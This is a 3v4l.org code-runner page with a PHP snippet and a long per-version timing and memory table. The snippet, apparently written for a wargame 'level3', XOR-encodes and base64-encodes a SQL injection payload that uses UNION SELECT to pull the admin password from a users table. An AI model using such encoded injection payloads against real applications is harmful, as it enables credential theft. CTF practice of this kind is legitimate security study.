3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' union all select 1,2,3,4,5,6,password from level3_users where level3_users.username='admin' #")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00718.18
8.3.50.0020.01321.99
8.3.40.0110.00718.81
8.3.30.0030.01020.29
8.3.20.0000.00720.37
8.3.10.0040.00422.09
8.3.00.0040.00422.35
8.2.180.0120.00616.50
8.2.170.0140.00022.96
8.2.160.0070.00722.11
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0080.00826.16
8.2.120.0030.00719.72
8.2.110.0080.00822.25
8.2.100.0120.00417.91
8.2.90.0050.00319.27
8.2.80.0000.00819.34
8.2.70.0080.00017.63
8.2.60.0100.00018.03
8.2.50.0040.00718.07
8.2.40.0000.00818.22
8.2.30.0030.00618.16
8.2.20.0030.00517.78
8.2.10.0040.00417.68
8.2.00.0030.00617.70
8.1.280.0100.00325.92
8.1.270.0000.00724.66
8.1.260.0000.00826.35
8.1.250.0030.00628.09
8.1.240.0060.00323.84
8.1.230.0090.00319.13
8.1.220.0000.00817.74
8.1.210.0000.00918.77
8.1.200.0040.00417.22
8.1.190.0030.00517.53
8.1.180.0030.00619.14
8.1.170.0030.00518.46
8.1.160.0000.00720.81
8.1.150.0020.00518.63
8.1.140.0000.00717.36
8.1.130.0070.00017.87
8.1.120.0000.00817.46
8.1.110.0050.00217.45
8.1.100.0070.00017.35
8.1.90.0040.00417.43
8.1.80.0000.00817.47
8.1.70.0000.00717.39
8.1.60.0000.00817.52
8.1.50.0000.00717.50
8.1.40.0040.00417.58
8.1.30.0080.00017.63
8.1.20.0030.00517.71
8.1.10.0040.00417.45
8.1.00.0030.00717.45
8.0.300.0070.00018.77
8.0.290.0000.00717.16
8.0.280.0030.00318.41
8.0.270.0000.00717.32
8.0.260.0050.00316.85
8.0.250.0000.00617.03
8.0.240.0000.00916.89
8.0.230.0040.00416.95
8.0.220.0030.00616.91
8.0.210.0030.00316.92
8.0.200.0030.00316.83
8.0.190.0060.00316.89
8.0.180.0000.00717.05
8.0.170.0000.00817.00
8.0.160.0030.00516.93
8.0.150.0040.00416.83
8.0.140.0080.00016.92
8.0.130.0030.00313.39
8.0.120.0030.00616.90
8.0.110.0000.00816.97
8.0.100.0070.00016.99
8.0.90.0070.00016.90
8.0.80.0100.00716.97
8.0.70.0000.00716.82
8.0.60.0040.00416.94
8.0.50.0040.00416.88
8.0.30.0090.01017.18
8.0.20.0150.00317.40
8.0.10.0060.00316.88
8.0.00.0100.00816.78
7.4.330.0030.00315.00
7.4.320.0000.00716.62
7.4.300.0000.00716.65
7.4.290.0030.00316.57
7.4.280.0030.00316.46
7.4.270.0000.00716.54
7.4.260.0050.00013.39
7.4.250.0050.00316.53
7.4.240.0000.00716.59
7.4.230.0000.00716.53
7.4.220.0160.00916.68
7.4.210.0100.00416.60
7.4.200.0000.00716.54
7.4.190.0000.00816.41
7.4.160.0070.01016.63
7.4.150.0100.00717.40
7.4.140.0130.01017.86
7.4.130.0090.01116.58
7.4.120.0150.00316.47
7.4.110.0130.00316.66
7.4.100.0100.01016.47
7.4.90.0060.01216.56
7.4.80.0040.01519.39
7.4.70.0130.00316.63
7.4.60.0000.01816.48
7.4.50.0000.00816.40
7.4.40.0040.00722.77
7.4.30.0110.00616.67
7.4.10.0030.01316.66
7.4.00.0100.00615.40
7.3.330.0050.00013.23
7.3.320.0060.00013.27
7.3.310.0020.00516.44
7.3.300.0030.00316.29
7.3.290.0070.00716.44
7.3.280.0110.00516.45
7.3.270.0040.01317.40
7.3.260.0170.00016.48
7.3.250.0030.01616.56
7.3.240.0110.00616.59
7.3.230.0100.01016.58
7.3.210.0060.01016.34
7.3.200.0110.01019.39
7.3.190.0100.00616.39
7.3.180.0140.00316.69
7.3.170.0090.00916.36
7.3.160.0070.00916.40
7.3.130.0070.01416.53
7.3.120.0060.01215.51
7.3.110.0070.00915.48
7.3.100.0100.00715.33
7.3.90.0030.00915.42
7.3.80.0020.01315.46
7.3.70.0050.00815.35
7.3.60.0030.00915.26
7.3.50.0070.00715.33
7.3.40.0070.00715.30
7.3.30.0040.00715.27
7.3.20.0060.00817.12
7.3.10.0050.00917.04
7.3.00.0080.00717.17
7.2.330.0110.00816.46
7.2.320.0070.01016.74
7.2.310.0060.01316.77
7.2.300.0070.01016.66
7.2.290.0040.01216.77
7.2.260.0070.01316.53
7.2.250.0070.01215.81
7.2.240.0090.00815.75
7.2.230.0060.01115.49
7.2.220.0090.01015.70
7.2.210.0030.00915.69
7.2.200.0050.01115.59
7.2.190.0040.01115.56
7.2.180.0040.00915.52
7.2.170.0040.01015.61
7.2.160.0080.00815.86
7.2.150.0030.01217.63
7.2.140.0070.00817.58
7.2.130.0080.00417.63
7.2.120.0120.00617.65
7.2.110.0050.00817.63
7.2.100.0040.01217.69
7.2.90.0090.00917.76
7.2.80.0070.00817.60
7.2.70.0080.00817.63
7.2.60.0090.00517.42
7.2.50.0050.00717.79
7.2.40.0080.00617.52
7.2.30.0040.01317.64
7.2.20.0110.00817.54
7.2.10.0090.00717.72
7.2.00.0040.00818.30
7.1.330.0070.00816.26
7.1.320.0030.01016.43
7.1.310.0070.00716.22
7.1.300.0060.00816.31
7.1.290.0020.01116.39
7.1.280.0040.00716.35
7.1.270.0050.00716.33
7.1.260.0040.00916.27
7.1.250.0060.00816.67
7.1.240.0060.00917.28
7.1.230.0060.00617.28
7.1.220.0070.00317.17
7.1.210.0090.00617.37
7.1.200.0060.00616.67
7.1.190.0030.01017.38
7.1.180.0080.00617.39
7.1.170.0040.00917.20
7.1.160.0100.00717.35
7.1.150.0040.00717.34
7.1.140.0070.01017.24
7.1.130.0130.00017.42
7.1.120.0030.01417.39
7.1.110.0100.00717.28
7.1.100.0090.00717.45
7.1.90.0080.00317.17
7.1.80.0070.00417.22
7.1.70.0060.00417.24
7.1.60.0030.00818.33
7.1.50.0060.01017.08
7.1.40.0030.01017.14
7.1.30.0070.01017.14
7.1.20.0000.01117.35
7.1.10.0000.01017.36
7.1.00.0050.02219.88
7.0.330.0030.01317.14
7.0.320.0000.01017.02
7.0.310.0100.00716.95
7.0.300.0000.01417.13
7.0.290.0030.01517.00
7.0.280.0030.01216.90
7.0.270.0090.00616.94
7.0.260.0080.00817.05
7.0.250.0060.00917.02
7.0.240.0060.00916.97
7.0.230.0030.00617.02
7.0.220.0060.00617.12
7.0.210.0070.01016.96
7.0.200.0050.00616.83
7.0.190.0000.01317.03
7.0.180.0110.00716.96
7.0.170.0040.01116.98
7.0.160.0000.01117.07
7.0.150.0040.00816.93
7.0.140.0060.03919.50
7.0.130.0080.01217.16
7.0.120.0120.00616.84
7.0.110.0110.00517.18
7.0.100.0120.00017.00
7.0.90.0060.00916.89
7.0.80.0060.00917.03
7.0.70.0120.00316.89
7.0.60.0070.04218.50
7.0.50.0100.02517.43
7.0.40.0040.03917.62
7.0.30.0090.04517.53
7.0.20.0080.03217.63
7.0.10.0050.02517.57
7.0.00.0060.02817.56
5.6.400.0030.01315.82
5.6.390.0030.01315.96
5.6.380.0090.00916.00
5.6.370.0060.01015.91
5.6.360.0040.01115.68
5.6.350.0080.01115.89
5.6.340.0080.00816.02
5.6.330.0110.00416.07
5.6.320.0070.00715.83
5.6.310.0150.00016.06
5.6.300.0060.00916.14
5.6.290.0090.00915.76
5.6.280.0110.03418.29
5.6.270.0070.01015.95
5.6.260.0150.00016.12
5.6.250.0100.00615.92
5.6.240.0060.00616.04
5.6.230.0060.01315.89
5.6.220.0140.00315.84
5.6.210.0070.02218.20
5.6.200.0090.02716.94
5.6.190.0070.02518.14
5.6.180.0250.03718.28
5.6.170.0220.04018.11
5.6.160.0040.04918.15
5.6.150.0070.04017.19
5.6.140.0120.03416.96
5.6.130.0090.04616.96
5.6.120.0040.02518.52
5.6.110.0030.02818.38
5.6.100.0070.04318.37
5.6.90.0070.03818.46
5.6.80.0080.03118.03
5.6.70.0100.00615.77
5.6.60.0030.01015.89
5.6.50.0050.00516.10
5.6.40.0030.01415.91
5.6.30.0070.00715.83
5.6.20.0070.00715.69
5.6.10.0030.00715.76
5.6.00.0070.00716.21
5.5.380.0110.00715.81
5.5.370.0060.01415.81
5.5.360.0100.00315.57
5.5.350.1550.02618.17
5.5.340.0070.03216.97
5.5.330.0110.04018.15
5.5.320.0240.03718.21
5.5.310.0200.03318.19
5.5.300.0090.02116.91
5.5.290.0070.04217.00
5.5.280.0050.04518.44
5.5.270.0060.02318.45
5.5.260.0080.04518.45
5.5.250.0100.04418.22
5.5.240.0130.04117.98
5.5.230.0090.00315.79
5.5.220.0060.00615.98
5.5.210.0000.01315.86
5.5.200.0090.00015.98
5.5.190.0040.00715.82
5.5.180.0090.00915.84
5.5.170.0040.00715.82
5.5.160.0070.01015.88
5.5.150.0110.00615.82
5.5.140.0100.00715.85
5.5.130.0030.01515.88
5.5.120.0030.01515.68
5.5.110.0000.00915.66
5.5.100.0090.00615.80
5.5.90.0000.01615.89
5.5.80.0070.00415.78
5.5.70.0000.01315.84
5.5.60.0030.00715.65
5.5.50.0000.01215.75
5.5.40.0130.00315.73
5.5.30.0030.00915.59
5.5.20.0070.00715.96
5.5.10.0030.01315.86
5.5.00.0000.01415.84
5.4.450.1900.02616.17
5.4.440.1870.02516.14
5.4.430.1700.02516.08
5.4.420.1820.02416.06
5.4.410.1900.02015.95
5.4.400.1830.02015.88
5.4.390.1910.02015.92
5.4.380.1860.02115.86
5.4.370.1970.02715.83
5.4.360.1920.02215.67
5.4.350.2100.02316.00
5.4.340.1620.02215.99
5.4.330.0060.00312.68
5.4.320.1770.02215.99
5.4.310.1750.02115.77
5.4.300.2200.02315.85
5.4.290.2120.01915.85
5.4.280.1770.02615.86
5.4.270.1740.02315.76
5.4.260.1970.02215.88
5.4.250.1700.02315.70
5.4.240.1920.02115.83
5.4.230.1880.02215.79
5.4.220.2200.02215.83
5.4.210.2220.01915.66
5.4.200.2070.02715.82
5.4.190.1970.02215.89
5.4.180.1920.02515.71
5.4.170.1770.02316.01
5.4.160.1920.02015.84
5.4.150.2030.02615.93
5.4.140.1930.02514.71
5.4.130.1880.02014.67
5.4.120.1820.02814.57
5.4.110.1000.01714.54
5.4.100.0080.03114.48
5.4.90.0230.03714.65
5.4.80.1620.01714.48
5.4.70.1880.02314.42
5.4.60.1760.02314.58
5.4.50.1450.02314.54
5.4.40.1970.01914.73
5.4.30.1670.02014.60
5.4.20.1930.02014.54
5.4.10.2010.01814.62
5.4.00.1870.02114.22
5.3.290.1750.02013.90
5.3.280.2190.02413.81
5.3.270.1920.02413.82
5.3.260.1910.02313.87
5.3.250.1900.02313.94
5.3.240.1930.02013.79
5.3.230.1980.02113.84
5.3.220.1930.02013.69
5.3.210.1930.01813.89
5.3.200.0030.03313.72
5.3.190.2200.02613.89
5.3.180.1890.02013.93
5.3.170.1970.02213.71
5.3.160.1930.02313.79
5.3.150.1930.01913.80
5.3.140.1720.02413.77
5.3.130.1930.02513.84
5.3.120.1900.02713.70
5.3.110.1920.02313.78
5.3.100.1820.02513.48
5.3.90.1920.02213.52
5.3.80.0930.02113.66
5.3.70.0060.02113.53
5.3.60.0070.01813.46
5.3.50.0060.03413.46
5.3.40.1900.02213.53
5.3.30.2230.02013.40
5.3.20.1950.01713.35
5.3.10.1880.01813.34
5.3.00.2050.01813.20
5.2.170.4000.02311.06
5.2.160.3330.03311.27
5.2.150.3800.03711.24
5.2.140.3730.02311.06
5.2.130.2900.03011.34
5.2.120.2530.04011.27
5.2.110.3130.03011.08
5.2.100.3030.02711.02
5.2.90.3130.03311.23
5.2.80.2700.02711.11
5.2.70.2830.03711.05
5.2.60.3100.02710.97
5.2.50.3830.03311.04
5.2.40.3130.03310.90
5.2.30.3130.02710.88
5.2.20.3070.03711.05
5.2.10.2870.02710.84
5.2.00.2700.03010.84
5.1.60.3030.02710.81
5.1.50.2770.03010.81
5.1.40.3170.02010.81
5.1.30.3100.03010.81
5.1.20.2970.02310.81
5.1.10.3100.02710.81
5.1.00.2130.02710.81
5.0.50.1370.02310.81
5.0.40.1730.02310.81
5.0.30.1600.03010.81
5.0.20.1470.02010.81
5.0.10.1400.01710.81
5.0.00.1770.03310.81
4.4.90.1530.01710.81
4.4.80.1670.01310.81
4.4.70.1370.01710.81
4.4.60.1700.02010.81
4.4.50.1430.01310.81
4.4.40.1630.02710.81
4.4.30.1730.01710.81
4.4.20.1670.01310.81
4.4.10.1370.01710.81
4.4.00.1370.02710.81
4.3.110.1400.01710.81
4.3.100.1400.01310.81
4.3.90.1370.01710.81
4.3.80.1530.02310.81
4.3.70.1670.01710.81
4.3.60.1500.02010.81
4.3.50.1470.02010.81
4.3.40.1570.02710.81
4.3.30.0770.02310.81
4.3.20.1000.02010.81
4.3.10.0800.01010.81
4.3.00.0800.02310.81

preferences:
45.96 ms | 401 KiB | 5 Q